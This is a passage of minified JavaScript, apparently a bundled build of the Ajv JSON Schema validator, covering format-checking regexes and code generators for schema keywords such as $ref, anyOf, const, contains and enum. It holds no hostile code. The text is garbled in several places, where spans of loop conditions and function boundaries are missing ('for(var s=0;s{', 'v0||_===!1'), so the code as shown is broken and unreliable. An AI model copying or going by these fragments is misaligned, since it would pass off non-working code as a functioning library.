0)V(C);else return M(C,H),A(H,X)}function $(O,C){var j=l.length;return l[j]=C,i[O]=j,"refVal"+j}function V(O){delete i[O]}function M(O,C){var j=i[O];l[j]=C}function A(O,C){return typeof O=="object"||typeof O=="boolean"?{code:C,schema:O,inline:!0}:{code:C,$async:O&&!!O.$async}}function q(O){var C=d[O];return C===void 0&&(C=d[O]=f.length,f[C]=O),"pattern"+C}function F(O){switch(typeof O){case"boolean":case"number":return""+O;case"string":return ta.toQuotedString(O);case"object":if(O===null)return"null";var C=Tu(O),j=m[C];return j===void 0&&(j=m[C]=h.length,h[j]=O),"default"+j}}function L(O,C,j,ie){if(r._opts.validateSchema!==!1){var J=O.definition.dependencies;if(J&&!J.every(function(Ee){return Object.prototype.hasOwnProperty.call(j,Ee)}))throw new Error("parent schema must have all required keywords: "+J.join(","));var X=O.definition.validateSchema;if(X){var G=X(C);if(!G){var H="keyword schema is invalid: "+r.errorsText(X.errors);if(r._opts.validateSchema=="log")r.logger.error(H);else throw new Error(H)}}}var fe=O.definition.compile,Pe=O.definition.inline,Te=O.definition.macro,te;if(fe)te=fe.call(r,C,j,ie);else if(Te)te=Te.call(r,C,j,ie),n.validateSchema!==!1&&r.validateSchema(te,!0);else if(Pe)te=Pe.call(r,ie,O.keyword,C,j);else if(te=O.definition.validate,!te)return;if(te===void 0)throw new Error('custom keyword "'+O.keyword+'"failed to compile');var ve=E.length;return E[ve]=te,{code:"customRule"+ve,validate:te}}}function Au(a,e,t){var s=Rn.call(this,a,e,t);return s>=0?{index:s,compiling:!0}:(s=this._compilations.length,this._compilations[s]={schema:a,root:e,baseId:t},{index:s,compiling:!1})}function Cu(a,e,t){var s=Rn.call(this,a,e,t);s>=0&&this._compilations.splice(s,1)}function Rn(a,e,t){for(var s=0;s{"use strict";var aa=In.exports=function(){this._cache={}};aa.prototype.put=function(e,t){this._cache[e]=t};aa.prototype.get=function(e){return this._cache[e]};aa.prototype.del=function(e){delete this._cache[e]};aa.prototype.clear=function(){this._cache={}}});var Vn=B((zf,Un)=>{"use strict";var ju=zr(),Fu=/^(\d\d\d\d)-(\d\d)-(\d\d)$/,Mu=[0,31,28,31,30,31,30,31,31,30,31,30,31],qu=/^(\d\d):(\d\d):(\d\d)(\.\d+)?(z|[+-]\d\d(?::?\d\d)?)?$/i,An=/^(?=.{1,253}\.?$)[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[-0-9a-z]{0,61}[0-9a-z])?)*\.?$/i,Uu=/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'()*+,;=:@]|%[0-9a-f]{2})*)*)(?:\?(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i,Vu=/^(?:[a-z][a-z0-9+\-.]*:)?(?:\/?\/(?:(?:[a-z0-9\-._~!$&'()*+,;=:]|%[0-9a-f]{2})*@)?(?:\[(?:(?:(?:(?:[0-9a-f]{1,4}:){6}|::(?:[0-9a-f]{1,4}:){5}|(?:[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){4}|(?:(?:[0-9a-f]{1,4}:){0,1}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){3}|(?:(?:[0-9a-f]{1,4}:){0,2}[0-9a-f]{1,4})?::(?:[0-9a-f]{1,4}:){2}|(?:(?:[0-9a-f]{1,4}:){0,3}[0-9a-f]{1,4})?::[0-9a-f]{1,4}:|(?:(?:[0-9a-f]{1,4}:){0,4}[0-9a-f]{1,4})?::)(?:[0-9a-f]{1,4}:[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?))|(?:(?:[0-9a-f]{1,4}:){0,5}[0-9a-f]{1,4})?::[0-9a-f]{1,4}|(?:(?:[0-9a-f]{1,4}:){0,6}[0-9a-f]{1,4})?::)|[Vv][0-9a-f]+\.[a-z0-9\-._~!$&'()*+,;=:]+)\]|(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)|(?:[a-z0-9\-._~!$&'"()*+,;=]|%[0-9a-f]{2})*)(?::\d*)?(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*|\/(?:(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?|(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})+(?:\/(?:[a-z0-9\-._~!$&'"()*+,;=:@]|%[0-9a-f]{2})*)*)?(?:\?(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?(?:#(?:[a-z0-9\-._~!$&'"()*+,;=:@/?]|%[0-9a-f]{2})*)?$/i,Cn=/^(?:(?:[^\x00-\x20"'<>%\\^`{|}]|%[0-9a-f]{2})|\{[+#./;?&=,!@|]?(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?(?:,(?:[a-z0-9_]|%[0-9a-f]{2})+(?::[1-9][0-9]{0,3}|\*)?)*\})*$/i,Dn=/^(?:(?:http[s\u017F]?|ftp):\/\/)(?:(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+(?::(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])*)?@)?(?:(?!10(?:\.[0-9]{1,3}){3})(?!127(?:\.[0-9]{1,3}){3})(?!169\.254(?:\.[0-9]{1,3}){2})(?!192\.168(?:\.[0-9]{1,3}){2})(?!172\.(?:1[6-9]|2[0-9]|3[01])(?:\.[0-9]{1,3}){2})(?:[1-9][0-9]?|1[0-9][0-9]|2[01][0-9]|22[0-3])(?:\.(?:1?[0-9]{1,2}|2[0-4][0-9]|25[0-5])){2}(?:\.(?:[1-9][0-9]?|1[0-9][0-9]|2[0-4][0-9]|25[0-4]))|(?:(?:(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+-)*(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+)(?:\.(?:(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+-)*(?:[0-9a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])+)*(?:\.(?:(?:[a-z\xA1-\uD7FF\uE000-\uFFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF]){2,})))(?::[0-9]{2,5})?(?:\/(?:[\0-\x08\x0E-\x1F!-\x9F\xA1-\u167F\u1681-\u1FFF\u200B-\u2027\u202A-\u202E\u2030-\u205E\u2060-\u2FFF\u3001-\uD7FF\uE000-\uFEFE\uFF00-\uFFFF]|[\uD800-\uDBFF][\uDC00-\uDFFF]|[\uD800-\uDBFF](?![\uDC00-\uDFFF])|(?:[^\uD800-\uDBFF]|^)[\uDC00-\uDFFF])*)?$/i,kn=/^(?:urn:uuid:)?[0-9a-f]{8}-(?:[0-9a-f]{4}-){3}[0-9a-f]{12}$/i,Nn=/^(?:\/(?:[^~/]|~0|~1)*)*$/,Ln=/^#(?:\/(?:[a-z0-9_\-.!$&'()*+,;:=@]|%[0-9a-f]{2}|~0|~1)*)*$/i,jn=/^(?:0|[1-9][0-9]*)(?:#|(?:\/(?:[^~/]|~0|~1)*)*)$/;Un.exports=sa;function sa(a){return a=a=="full"?"full":"fast",ju.copy(sa[a])}sa.fast={date:/^\d\d\d\d-[0-1]\d-[0-3]\d$/,time:/^(?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)?$/i,"date-time":/^\d\d\d\d-[0-1]\d-[0-3]\d[t\s](?:[0-2]\d:[0-5]\d:[0-5]\d|23:59:60)(?:\.\d+)?(?:z|[+-]\d\d(?::?\d\d)?)$/i,uri:/^(?:[a-z][a-z0-9+\-.]*:)(?:\/?\/)?[^\s]*$/i,"uri-reference":/^(?:(?:[a-z][a-z0-9+\-.]*:)?\/?\/)?(?:[^\\\s#][^\s#]*)?(?:#[^\\\s]*)?$/i,"uri-template":Cn,url:Dn,email:/^[a-z0-9.!#$%&'*+/=?^_`{|}~-]+@[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?(?:\.[a-z0-9](?:[a-z0-9-]{0,61}[a-z0-9])?)*$/i,hostname:An,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,ipv6:/^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,regex:qn,uuid:kn,"json-pointer":Nn,"json-pointer-uri-fragment":Ln,"relative-json-pointer":jn};sa.full={date:Fn,time:Mn,"date-time":Wu,uri:Qu,"uri-reference":Vu,"uri-template":Cn,url:Dn,email:/^[a-z0-9!#$%&'*+/=?^_`{|}~-]+(?:\.[a-z0-9!#$%&'*+/=?^_`{|}~-]+)*@(?:[a-z0-9](?:[a-z0-9-]*[a-z0-9])?\.)+[a-z0-9](?:[a-z0-9-]*[a-z0-9])?$/i,hostname:An,ipv4:/^(?:(?:25[0-5]|2[0-4]\d|[01]?\d\d?)\.){3}(?:25[0-5]|2[0-4]\d|[01]?\d\d?)$/,ipv6:/^\s*(?:(?:(?:[0-9a-f]{1,4}:){7}(?:[0-9a-f]{1,4}|:))|(?:(?:[0-9a-f]{1,4}:){6}(?::[0-9a-f]{1,4}|(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){5}(?:(?:(?::[0-9a-f]{1,4}){1,2})|:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(?:(?:[0-9a-f]{1,4}:){4}(?:(?:(?::[0-9a-f]{1,4}){1,3})|(?:(?::[0-9a-f]{1,4})?:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){3}(?:(?:(?::[0-9a-f]{1,4}){1,4})|(?:(?::[0-9a-f]{1,4}){0,2}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){2}(?:(?:(?::[0-9a-f]{1,4}){1,5})|(?:(?::[0-9a-f]{1,4}){0,3}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?:(?:[0-9a-f]{1,4}:){1}(?:(?:(?::[0-9a-f]{1,4}){1,6})|(?:(?::[0-9a-f]{1,4}){0,4}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(?::(?:(?:(?::[0-9a-f]{1,4}){1,7})|(?:(?::[0-9a-f]{1,4}){0,5}:(?:(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(?:\.(?:25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(?:%.+)?\s*$/i,regex:qn,uuid:kn,"json-pointer":Nn,"json-pointer-uri-fragment":Ln,"relative-json-pointer":jn};function Hu(a){return a%4===0&&(a%100!==0||a%400===0)}function Fn(a){var e=a.match(Fu);if(!e)return!1;var t=+e[1],s=+e[2],r=+e[3];return s>=1&&s<=12&&r>=1&&r<=(s==2&&Hu(t)?29:Mu[s])}function Mn(a,e){var t=a.match(qu);if(!t)return!1;var s=t[1],r=t[2],n=t[3],l=t[5];return(s<=23&&r<=59&&n<=59||s==23&&r==59&&n==60)&&(!e||l)}var zu=/t|\s/i;function Wu(a){var e=a.split(zu);return e.length==2&&Fn(e[0])&&Mn(e[1],!0)}var Bu=/\/|:/;function Qu(a){return Bu.test(a)&&Uu.test(a)}var Zu=/[^\\]\\Z/;function qn(a){if(Zu.test(a))return!1;try{return new RegExp(a),!0}catch{return!1}}});var zn=B((Wf,Hn)=>{"use strict";Hn.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.errSchemaPath+"/"+t,d=!e.opts.allErrors,h="data"+(l||""),m="valid"+n,E,c;if(i=="#"||i=="#/")e.isRoot?(E=e.async,c="validate"):(E=e.root.schema.$async===!0,c="root.refVal[0]");else{var y=e.resolveRef(e.baseId,i,e.isRoot);if(y===void 0){var _=e.MissingRefError.message(e.baseId,i);if(e.opts.missingRefs=="fail"){e.logger.error(_);var v=v||[];v.push(r),r="",e.createErrors!==!1?(r+=" { keyword: '$ref' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(f)+" , params: { ref: '"+e.util.escapeQuotes(i)+"' } ",e.opts.messages!==!1&&(r+=" , message: 'can\\'t resolve reference "+e.util.escapeQuotes(i)+"' "),e.opts.verbose&&(r+=" , schema: "+e.util.toQuotedString(i)+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+h+" "),r+=" } "):r+=" {} ";var P=r;r=v.pop(),!e.compositeRule&&d?e.async?r+=" throw new ValidationError(["+P+"]); ":r+=" validate.errors = ["+P+"]; return false; ":r+=" var err = "+P+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",d&&(r+=" if (false) { ")}else if(e.opts.missingRefs=="ignore")e.logger.warn(_),d&&(r+=" if (true) { ");else throw new e.MissingRefError(e.baseId,i,_)}else if(y.inline){var T=e.util.copy(e);T.level++;var x="valid"+T.level;T.schema=y.schema,T.schemaPath="",T.errSchemaPath=i;var R=e.validate(T).replace(/validate\.schema/g,y.code);r+=" "+R+" ",d&&(r+=" if ("+x+") { ")}else E=y.$async===!0||e.async&&y.$async!==!1,c=y.code}if(c){var v=v||[];v.push(r),r="",e.opts.passContext?r+=" "+c+".call(this, ":r+=" "+c+"( ",r+=" "+h+", (dataPath || '')",e.errorPath!='""'&&(r+=" + "+e.errorPath);var I=l?"data"+(l-1||""):"parentData",$=l?e.dataPathArr[l]:"parentDataProperty";r+=" , "+I+" , "+$+", rootData) ";var V=r;if(r=v.pop(),E){if(!e.async)throw new Error("async schema referenced by sync schema");d&&(r+=" var "+m+"; "),r+=" try { await "+V+"; ",d&&(r+=" "+m+" = true; "),r+=" } catch (e) { if (!(e instanceof ValidationError)) throw e; if (vErrors === null) vErrors = e.errors; else vErrors = vErrors.concat(e.errors); errors = vErrors.length; ",d&&(r+=" "+m+" = false; "),r+=" } ",d&&(r+=" if ("+m+") { ")}else r+=" if (!"+V+") { if (vErrors === null) vErrors = "+c+".errors; else vErrors = vErrors.concat("+c+".errors); errors = vErrors.length; } ",d&&(r+=" else { ")}return r}});var Bn=B((Bf,Wn)=>{"use strict";Wn.exports=function(e,t,s){var r=" ",n=e.schema[t],l=e.schemaPath+e.util.getProperty(t),i=e.errSchemaPath+"/"+t,f=!e.opts.allErrors,d=e.util.copy(e),h="";d.level++;var m="valid"+d.level,E=d.baseId,c=!0,y=n;if(y)for(var _,v=-1,P=y.length-1;v0||_===!1:e.util.schemaHasRules(_,e.RULES.all))&&(c=!1,d.schema=_,d.schemaPath=l+"["+v+"]",d.errSchemaPath=i+"/"+v,r+=" "+e.validate(d)+" ",d.baseId=E,f&&(r+=" if ("+m+") { ",h+="}"));return f&&(c?r+=" if (true) { ":r+=" "+h.slice(0,-1)+" "),r}});var Zn=B((Qf,Qn)=>{"use strict";Qn.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e),_="";y.level++;var v="valid"+y.level,P=i.every(function(M){return e.opts.strictKeywords?typeof M=="object"&&Object.keys(M).length>0||M===!1:e.util.schemaHasRules(M,e.RULES.all)});if(P){var T=y.baseId;r+=" var "+c+" = errors; var "+E+" = false; ";var x=e.compositeRule;e.compositeRule=y.compositeRule=!0;var R=i;if(R)for(var I,$=-1,V=R.length-1;${"use strict";Kn.exports=function(e,t,s){var r=" ",n=e.schema[t],l=e.errSchemaPath+"/"+t,i=!e.opts.allErrors,f=e.util.toQuotedString(n);return e.opts.$comment===!0?r+=" console.log("+f+");":typeof e.opts.$comment=="function"&&(r+=" self._opts.$comment("+f+", "+e.util.toQuotedString(l)+", validate.root.schema);"),r}});var Yn=B((Kf,Jn)=>{"use strict";Jn.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c=e.opts.$data&&i&&i.$data,y;c?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",y="schema"+n):y=i,c||(r+=" var schema"+n+" = validate.schema"+f+";"),r+="var "+E+" = equal("+m+", schema"+n+"); if (!"+E+") { ";var _=_||[];_.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'const' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { allowedValue: schema"+n+" } ",e.opts.messages!==!1&&(r+=" , message: 'should be equal to constant' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var v=r;return r=_.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+v+"]); ":r+=" validate.errors = ["+v+"]; return false; ":r+=" var err = "+v+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" }",h&&(r+=" else { "),r}});var ei=B((Gf,Xn)=>{"use strict";Xn.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c="errs__"+n,y=e.util.copy(e),_="";y.level++;var v="valid"+y.level,P="i"+n,T=y.dataLevel=e.dataLevel+1,x="data"+T,R=e.baseId,I=e.opts.strictKeywords?typeof i=="object"&&Object.keys(i).length>0||i===!1:e.util.schemaHasRules(i,e.RULES.all);if(r+="var "+c+" = errors;var "+E+";",I){var $=e.compositeRule;e.compositeRule=y.compositeRule=!0,y.schema=i,y.schemaPath=f,y.errSchemaPath=d,r+=" var "+v+" = false; for (var "+P+" = 0; "+P+" < "+m+".length; "+P+"++) { ",y.errorPath=e.util.getPathExpr(e.errorPath,P,e.opts.jsonPointers,!0);var V=m+"["+P+"]";y.dataPathArr[T]=P;var M=e.validate(y);y.baseId=R,e.util.varOccurences(M,x)<2?r+=" "+e.util.varReplace(M,x,V)+" ":r+=" var "+x+" = "+V+"; "+M+" ",r+=" if ("+v+") break; } ",e.compositeRule=y.compositeRule=$,r+=" "+_+" if (!"+v+") {"}else r+=" if ("+m+".length == 0) {";var A=A||[];A.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'contains' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: {} ",e.opts.messages!==!1&&(r+=" , message: 'should contain a valid item' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var q=r;return r=A.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+q+"]); ":r+=" validate.errors = ["+q+"]; return false; ":r+=" var err = "+q+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" } else { ",I&&(r+=" errors = "+c+"; if (vErrors !== null) { if ("+c+") vErrors.length = "+c+"; else vErrors = null; } "),e.opts.allErrors&&(r+=" } "),r}});var ti=B((Jf,ri)=>{"use strict";ri.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="errs__"+n,c=e.util.copy(e),y="";c.level++;var _="valid"+c.level,v={},P={},T=e.opts.ownProperties;for($ in i)if($!="__proto__"){var x=i[$],R=Array.isArray(x)?P:v;R[$]=x}r+="var "+E+" = errors;";var I=e.errorPath;r+="var missing"+n+";";for(var $ in P)if(R=P[$],R.length){if(r+=" if ( "+m+e.util.getProperty($)+" !== undefined ",T&&(r+=" && Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes($)+"') "),h){r+=" && ( ";var V=R;if(V)for(var M,A=-1,q=V.length-1;A0||x===!1:e.util.schemaHasRules(x,e.RULES.all))&&(r+=" "+_+" = true; if ( "+m+e.util.getProperty($)+" !== undefined ",T&&(r+=" && Object.prototype.hasOwnProperty.call("+m+", '"+e.util.escapeQuotes($)+"') "),r+=") { ",c.schema=x,c.schemaPath=f+e.util.getProperty($),c.errSchemaPath=d+"/"+e.util.escapeFragment($),r+=" "+e.validate(c)+" ",c.baseId=H,r+=" } ",h&&(r+=" if ("+_+") { ",y+="}"))}return h&&(r+=" "+y+" if ("+E+" == errors) {"),r}});var si=B((Yf,ai)=>{"use strict";ai.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||""),E="valid"+n,c=e.opts.$data&&i&&i.$data,y;c?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",y="schema"+n):y=i;var _="i"+n,v="schema"+n;c||(r+=" var "+v+" = validate.schema"+f+";"),r+="var "+E+";",c&&(r+=" if (schema"+n+" === undefined) "+E+" = true; else if (!Array.isArray(schema"+n+")) "+E+" = false; else {"),r+=""+E+" = false;for (var "+_+"=0; "+_+"<"+v+".length; "+_+"++) if (equal("+m+", "+v+"["+_+"])) { "+E+" = true; break; }",c&&(r+=" } "),r+=" if (!"+E+") { ";var P=P||[];P.push(r),r="",e.createErrors!==!1?(r+=" { keyword: 'enum' , dataPath: (dataPath || '') + "+e.errorPath+" , schemaPath: "+e.util.toQuotedString(d)+" , params: { allowedValues: schema"+n+" } ",e.opts.messages!==!1&&(r+=" , message: 'should be equal to one of the allowed values' "),e.opts.verbose&&(r+=" , schema: validate.schema"+f+" , parentSchema: validate.schema"+e.schemaPath+" , data: "+m+" "),r+=" } "):r+=" {} ";var T=r;return r=P.pop(),!e.compositeRule&&h?e.async?r+=" throw new ValidationError(["+T+"]); ":r+=" validate.errors = ["+T+"]; return false; ":r+=" var err = "+T+"; if (vErrors === null) vErrors = [err]; else vErrors.push(err); errors++; ",r+=" }",h&&(r+=" else { "),r}});var ii=B((Xf,ni)=>{"use strict";ni.exports=function(e,t,s){var r=" ",n=e.level,l=e.dataLevel,i=e.schema[t],f=e.schemaPath+e.util.getProperty(t),d=e.errSchemaPath+"/"+t,h=!e.opts.allErrors,m="data"+(l||"");if(e.opts.format===!1)return h&&(r+=" if (true) { "),r;var E=e.opts.$data&&i&&i.$data,c;E?(r+=" var schema"+n+" = "+e.util.getData(i.$data,l,e.dataPathArr)+"; ",c="schema"+n):c=i;var y=e.opts.unknownFormats,_=Array.isArray(y);if(E){var v="format"+n,P="isObject"+n,T="formatType"+n;r+=" var "+v+" = formats["+c+"]; var "+P+" = typeof "+v+" == 'object' && !("+v+" instanceof RegExp) && "+v+".validate; var "+T+" = "+P+" && "+v+".type || 'string'; if ("+P+") { ",e.async&&(r+=" var async"+n+" = "+v+".async; "),r+=" "+v+" = "+v+".validate; } if ( ",E&&(r+=" ("+c+" !== undefined && typeof "+c+" != 'string') || "),r+=" (",y!="ignore"&&(r+=" ("+c+" && !"+v+" ",_&&(r+=" && self._opts.unknownFormats.indexOf("+c+") == -1 "),r+=") || "),r+=" ("+v+" && "+T+" == '"+s+"' && !(typeof "+v+" == 'function' ? ",e.async?r+=" (async"+n+" ? await "+v+"("+m+") : "+v+"("+m+")) ":r+=" "+v+"("+m+") ",r+=" : "+v+".test("+m+"))))) {"}else{var 